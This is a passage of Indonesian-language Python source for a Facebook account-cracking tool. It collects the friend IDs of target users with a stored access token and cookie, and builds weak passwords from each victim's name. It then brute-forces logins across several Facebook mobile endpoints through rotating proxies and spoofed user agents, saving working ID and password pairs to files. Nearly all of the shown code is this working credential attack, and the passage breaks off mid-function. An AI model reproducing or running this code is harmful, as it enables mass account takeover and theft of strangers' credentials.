- print(' ╰─ Pilih Yang Bener Kontol ')
- exit()
- try:lin = open('OK/'+geh,'r').read().splitlines()
- except:
- print(' ╰─ File Tidak Di Temukan ')
- time.sleep(4)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
- sol().print(mark(cpkuh,style="green"))
- print(f'{hh}USER-AGENT : {x}{cpkuni[2]}')
- nocp +=1
- input('[ Klik Enter ]')
- back()
- elif kz in ['3','03']:
- back()
- else:
- print(' ╰─ Pilih Yang Bener Kontol ')
- exit()
- #-------------------[ CRACK-PUBLIK-MASSAL]----------------#
- def brayen_dump():
- try:
- token = open('.token.txt','r').read()
- kukis = open('.cok.txt','r').read()
- except IOError:
- exit()
- cetak(panel('\t [bold white]Ketik [bold green]Me[/] Jika Ingin Crack Pertemanan Sendiri',width=90,style='bold white'))
- pil = input(f' ╰─ Masukan ID Target : ')
- try:
- koH = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
- for pi in koH['friends']['data']:
- try:id.append(pi['id']+'|'+pi['name'])
- except:continue
- print('')
- print(f' ╰─ Total ID yang Terkumpul : {h}'+str(len(id)))
- setting()
- except requests.exceptions.ConnectionError:
- print(' ╰─ Internet Lu Gak Ada Anjing')
- exit()
- except (KeyError,IOError):
- print(' ╰─ Pertemanan Tidak Publick Atau Cookie And Token Anda Busuk')
- exit()
- #-------------------[ CRACK-PUBLIK ]----------------#
- def dump_massal():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- exit()
- try:
- cetak(panel('\t [bold white]Ketik [bold green]Me[/] Jika Ingin Crack Pertemanan Sendiri',width=90,title=f"[bold green]Crack Massal",style=f"bold white"))
- jum = int(input(f' ╰─ {P}Mau Berapa Idz Target {x} : '))
- except ValueError:
- print(' ╰─ Wrong input ')
- exit()
- if jum<1 or jum>80:
- print(f'{h} ╰─ {x}Pertemanan Tidak Publik ')
- exit()
- ses=requests.Session()
- yz = 0
- for met in range(jum):
- yz+=1
- kl = input(f' ╰─ {P}Masukan Idz Target Yang Ke '+str(yz)+' : ')
- uid.append(kl)
- for userr in uid:
- try:
- col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
- for mi in col['friends']['data']:
- try:
- iso = (mi['id']+'|'+mi['name'])
- if iso in id:pass
- else:id.append(iso)
- except:continue
- except (KeyError,IOError):
- pass
- except requests.exceptions.ConnectionError:
- print(' ╰─ Unstable Signal ')
- exit()
- try:
- print(f' ╰─ {P}Total Idz Target Yang Terkumpul{x} : {h}'+str(len(id)))
- setting()
- except requests.exceptions.ConnectionError:
- print(f'{x}')
- print(' ╰─ Unstable Signal ')
- back()
- except (KeyError,IOError):
- print(f' ╰─ {k} Friendship Not Public {x}')
- time.sleep(3)
- back()
- #-------------[ PENGATURAN-IDZ ]---------------#
- def setting():
- print('')
- cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Crack Idz Old [[bold red]Not Recommended[bold white]][/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Crack Idz New [[bold green]Very Recommended[bold white]][/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Crack Idz Random [[bold green]Very Recommended[bold white]][/]',width=90,title=f"[bold green]Setting Urutan Idz",style=f"bold white"))
- hu = input(f' ╰─ Pilih Urutan id : ')
- if hu in ['1','01']:
- for tua in sorted(id):
- id2.append(tua)
- elif hu in ['2','02']:
- muda=[]
- for bacot in sorted(id):
- muda.append(bacot)
- bcm=len(muda)
- bcmi=(bcm-1)
- for xmud in range(bcm):
- id2.append(muda[bcmi])
- bcmi -=1
- elif hu in ['3','03']:
- for bacot in id:
- xx = random.randint(0,len(id2))
- id2.insert(xx,bacot)
- else:
- print(' ╰─ Pilih Yang Bener Kontooll ')
- exit()
- cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Metode Mobile V1 [[bold green]Very Recommended[bold white]][/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Metode Mbasic [[bold green]Recommended[bold white]][/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Metode B-Api [[bold red]Not Recommended[bold white]][/]\n[bold white][[bold green]04[/][bold white]][/] [bold white]Metode Mbeta [[bold red]Not Recommended[bold white]][/]\n[bold white][[bold green]05[/][bold white]][/] [bold white]Metode Async [[bold green]Recommended[bold white]][/]\n[bold white][[bold green]06[/][bold white]][/] [bold white]Metode Reguler [[bold red]Not Recommended[bold white]][/]',width=90,title=f"[bold green]Setting Metode",style=f"bold white"))
- hc = input(f' ╰─ Pilih Metode : ')
- if hc in ['1','01']:
- method.append('mobile')
- elif hc in ['2','02']:
- method.append('mbasic')
- elif hc in ['3','03']:
- method.append('free')
- elif hc in ['4','04']:
- method.append('mobilev2')
- elif hc in ['5','05']:
- method.append('async')
- elif hc in ['6','06']:
- method.append('reguler')
- else:
- method.append('mobile')
- cetak(panel('''[bold white][[bold green]01[bold white]] [bold white]Nama, Nama123, Nama1234 [[bold green]Recommended[bold white]]
- [bold white][[bold green]02[bold white]] [bold white]Nama, Nama123, Nama1234, Nama12345 [[bold red]Not Recommended[bold white]]
- [bold white][[bold green]03[bold white]] [bold white]Nama, Nama123, Nama1234, Nama12345 + Manual [[bold red]Not Recommended[bold white]]''',style='bold white',title='[bold green]Setting Password',width=90))
- pwplus=input(f' ╰─ {P}Pilih sandi : ')
- if pwplus in ['03','3']:
- pwpluss.append('ya')
- pwku=input(f' ╰─ {P}Sandi : ')
- pwkuh=pwku.split(',')
- for xpw in pwkuh:
- pwnya.append(xpw)
- else:
- pwpluss.append('no')
- cetak(panel(f'[bold white]Apakah Anda Ingin Mengunakan User-Agent Manual Untuk Melakukan Crack Account ? Y/T',width=90,title=f"[bold green]Setting User-Agent",style=f"bold white"))
- uatambah = input(f' ╰─ Pilih : ')
- if uatambah in ['y','Ya','ya','Y']:
- ualuh.append('ya')
- bzer = input(f' ╰─ Masukan User-Agent : ')
- ualu.append(bzer)
- else:
- ualuh.append('tidak')
- passwrd()
- #-------------------[ BAGIAN-WORDLIST ]------------#
- def passwrd():
- global prog,des
- print('')
- urut = []
- urut.append(panel(f' [bold green]%s [bold white]'%(okc),width=43,title=f"[bold green]OK SAVE IN",style=f"bold white"))
- urut.append(panel(f' [bold yellow]%s [bold white]'%(cpc),width=44,title=f"[bold yellow]CP SAVE IN",style=f"bold white"))
- wa.print(Columns(urut))
- cetak(panel(f'\t[bold white]On/Off Mode Pesawat Setiap 300 Idz Agar Terhindar Dari Spam Ip',width=90,title=f"[bold green]Informasi",subtitle=f"[bold green]Proses Crack",style=f"bold white"))
- prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id2))
- with prog:
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(' ')[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
- pwv.append(nmf)
- pwv.append(frs+'01')
- pwv.append(frs+'02')
- pwv.append(frs+'03')
- pwv.append(frs+'04')
- pwv.append(frs+'12')
- pwv.append(frs+'321')
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- pwv.append(frs+'12345')
- pwv.append(frs+'123456')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'mobile' in method:
- pool.submit(crack,idf,pwv)
- elif 'free' in method:
- pool.submit(crackfree,idf,pwv)
- elif 'mobilev2' in method:
- pool.submit(crackmobilev2,idf,pwv)
- elif 'async' in method:
- pool.submit(crackasync,idf,pwv)
- elif 'mbasic' in method:
- pool.submit(crackmbasic,idf,pwv)
- elif 'reguler' in method:
- pool.submit(crackreguler,idf,pwv)
- else:
- pool.submit(crackmbasic,idf,pwv)
- print('')
- print(f' Crack Telah Selesai,Semoga Anda Bersyukur Dengan Hasil Nya')
- print(f' [{h}•{x}]{h} OK : {h}%s '%(ok))
- print(f'{x} [{h}•{x}]{k} CP : {k}%s{x} '%(cp))
- #--------------------[ METODE MOBILE ]-----------------#
- #--------------------[ METODE MOBILE ]-----------------#
- def crack(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}WHOAMI-DMC{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks4://'+nip}
- ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D113289095462482%26scope%3Demail%252Cpublic_profile%26redirect_uri%3Dhttps%253A%252F%252Fzoom.us%252Ffacebook%252Foauth%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%26_x_zm_rtaid%3DcVJiy3uGSbSvWr-DDSZNng.1679058723947.4bc348f596f10457902323ef31509d67%26_x_zm_rhtaid%3D542%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D516d7f95-093f-4513-847e-788f90c4cbd5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fzoom.us%2Ffacebook%2Foauth%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/login.php?skip_api_login=1&api_key=113289095462482&kid_directed_site=0&app_id=113289095462482&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D113289095462482%26scope%3Demail%252Cpublic_profile%26redirect_uri%3Dhttps%253A%252F%252Fzoom.us%252Ffacebook%252Foauth%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%26_x_zm_rtaid%3DcVJiy3uGSbSvWr-DDSZNng.1679058723947.4bc348f596f10457902323ef31509d67%26_x_zm_rhtaid%3D542%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D516d7f95-093f-4513-847e-788f90c4cbd5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fzoom.us%2Ffacebook%2Foauth%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D113289095462482%26scope%3Demail%252Cpublic_profile%26redirect_uri%3Dhttps%253A%252F%252Fzoom.us%252Ffacebook%252Foauth%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%26_x_zm_rtaid%3DcVJiy3uGSbSvWr-DDSZNng.1679058723947.4bc348f596f10457902323ef31509d67%26_x_zm_rhtaid%3D542%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D516d7f95-093f-4513-847e-788f90c4cbd5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fzoom.us%2Ffacebook%2Foauth%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(f" ")
- tree.add(f"[ Checkpoint ]").add(f"[bold yellow]{idf}|{pw}").add(f"[bold yellow]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(f" ")
- tree.add(f"[ Succes-Login ]").add(f"[bold green]{idf}|{pw}").add(f"[bold green]{ua}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(session,coki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #--------------------[ METODE MBETA ]-----------------#
- def crackmobilev2(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}Mbeta{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks4://'+nip}
- ses.headers.update({'Host': 'm.beta.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://m.beta.facebook.com/?locale=id_ID&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.beta.facebook.com/login/save-device/?login_source=login","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'm.beta.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.beta.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.beta.facebook.com/?locale=id_ID&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://m.beta.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(f" ")
- tree.add(f"[ Checkpoint ]").add(f"[bold yellow]{idf}|{pw}").add(f"[bold yellow]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(f" ")
- tree.add(f"[ Succes-Login ]").add(f"[bold green]{idf}|{pw}").add(f"[bold green]{ua}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(session,coki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #------------------[ METHODE MBASIC ]-------------------#
- def crackmbasic(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}Mbasic{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv3.0%2Fdialog%2Foauth%3Fclient_id%3D467800444454528%26redirect_uri%3Dhttps%253A%252F%252Fwww.liputan6.com%252Fauth%252Ffacebook%252Fsuccess%26scope%3Demail%252Cpublic_profile%26response_type%3Dcode%26state%3Dmq1vXQ6Ku66Yi5sOfwzP70fL5orIRhN5YjhqheYn%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db78216ec-dd49-4eb7-b6b0-66f9360680a4%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.liputan6.com%2Fauth%2Ffacebook%2Fsuccess%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3Dmq1vXQ6Ku66Yi5sOfwzP70fL5orIRhN5YjhqheYn%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=467800444454528&kid_directed_site=0&app_id=467800444454528&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv3.0%2Fdialog%2Foauth%3Fclient_id%3D467800444454528%26redirect_uri%3Dhttps%253A%252F%252Fwww.liputan6.com%252Fauth%252Ffacebook%252Fsuccess%26scope%3Demail%252Cpublic_profile%26response_type%3Dcode%26state%3Dmq1vXQ6Ku66Yi5sOfwzP70fL5orIRhN5YjhqheYn%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db78216ec-dd49-4eb7-b6b0-66f9360680a4%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.liputan6.com%2Fauth%2Ffacebook%2Fsuccess%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3Dmq1vXQ6Ku66Yi5sOfwzP70fL5orIRhN5YjhqheYn%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://mbasic.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv3.0%2Fdialog%2Foauth%3Fclient_id%3D467800444454528%26redirect_uri%3Dhttps%253A%252F%252Fwww.liputan6.com%252Fauth%252Ffacebook%252Fsuccess%26scope%3Demail%252Cpublic_profile%26response_type%3Dcode%26state%3Dmq1vXQ6Ku66Yi5sOfwzP70fL5orIRhN5YjhqheYn%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db78216ec-dd49-4eb7-b6b0-66f9360680a4%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.liputan6.com%2Fauth%2Ffacebook%2Fsuccess%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3Dmq1vXQ6Ku66Yi5sOfwzP70fL5orIRhN5YjhqheYn%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(f" ")
- tree.add(f"[ Checkpoint ]").add(f"[bold yellow]{idf}|{pw}").add(f"[bold yellow]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(f" ")
- tree.add(f"[ Succes-Login ]").add(f"[bold green]{idf}|{pw}").add(f"[bold green]{ua}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(session,coki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #-----------------------[ METHODE FREE ]-------------------#
- def crackfree(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}B-Api{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks6://'+nip}
- link = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=793139305026776&kid_directed_site=0&app_id=793139305026776&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv13.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D793139305026776%26redirect_uri%3Dhttps%253A%252F%252Fmuyu2019.com%252Fwp-login.php%253FloginSocial%253Dfacebook%26state%3D85c55c0b08f9baf02f2aa21cab5f7621%26scope%3Dpublic_profile%252Cemail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db0a1bc78-04e0-4998-b19b-3a18e7643195%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fmuyu2019.com%2Fwp-login.php%3FloginSocial%3Dfacebook%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D85c55c0b08f9baf02f2aa21cab5f7621%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- data = {
- 'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- 'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
- 'm_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),
- 'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),
- 'try_number': 0,
- 'unrecognized_tries': 0,
- 'email':idf,
- 'pass':pw,
- 'login':'Masuk',
- 'prefill_contact_point': '',
- 'prefill_source': '',
- 'prefill_type': '',
- 'first_prefill_source': '',
- 'first_prefill_type': '',
- 'had_cp_prefilled': False,
- 'had_password_prefilled': False,
- 'is_smart_lock': False,
- 'bi_xrwh': 0
- }
- headers = {'Host': 'm.facebook.com','x-fb-rlafr': '0','access-control-allow-origin': '*','facebook-api-version': 'v16.0','strict-transport-security': 'max-age=15552000; preload','pragma': 'no-cache','cache-control': 'private, no-cache, no-store, must-revalidate','x-fb-request-id': 'A3PUDZnzy2xgkMAkH9bcVof','x-fb-trace-id': 'Cx4jrkJJire','x-fb-rev': '1007127514','x-fb-debug': 'ASSqfFh8929p35Kn6/R+D8OSctQbVgiX+Pxpn8s5dImzlZcynOPPu9rnz5V0PKDXfbEwqT0VshbByU46SqsrXQ==','content-length': '332','cache-control': 'max-age=0','sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','save-data': 'on','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': 'Mozilla/5.0 (Mobile; rv:48.0; A405DL) Gecko/48.0 Firefox/48.0 KAIOS/2.5','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','referer': 'https://m.facebook.com/login.php?skip_api_login=1&api_key=793139305026776&kid_directed_site=0&app_id=793139305026776&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv13.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D793139305026776%26redirect_uri%3Dhttps%253A%252F%252Fmuyu2019.com%252Fwp-login.php%253FloginSocial%253Dfacebook%26state%3D85c55c0b08f9baf02f2aa21cab5f7621%26scope%3Dpublic_profile%252Cemail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Db0a1bc78-04e0-4998-b19b-3a18e7643195%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fmuyu2019.com%2Fwp-login.php%3FloginSocial%3Dfacebook%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D85c55c0b08f9baf02f2aa21cab5f7621%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate','accept-language': 'id-ID,id;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6'}
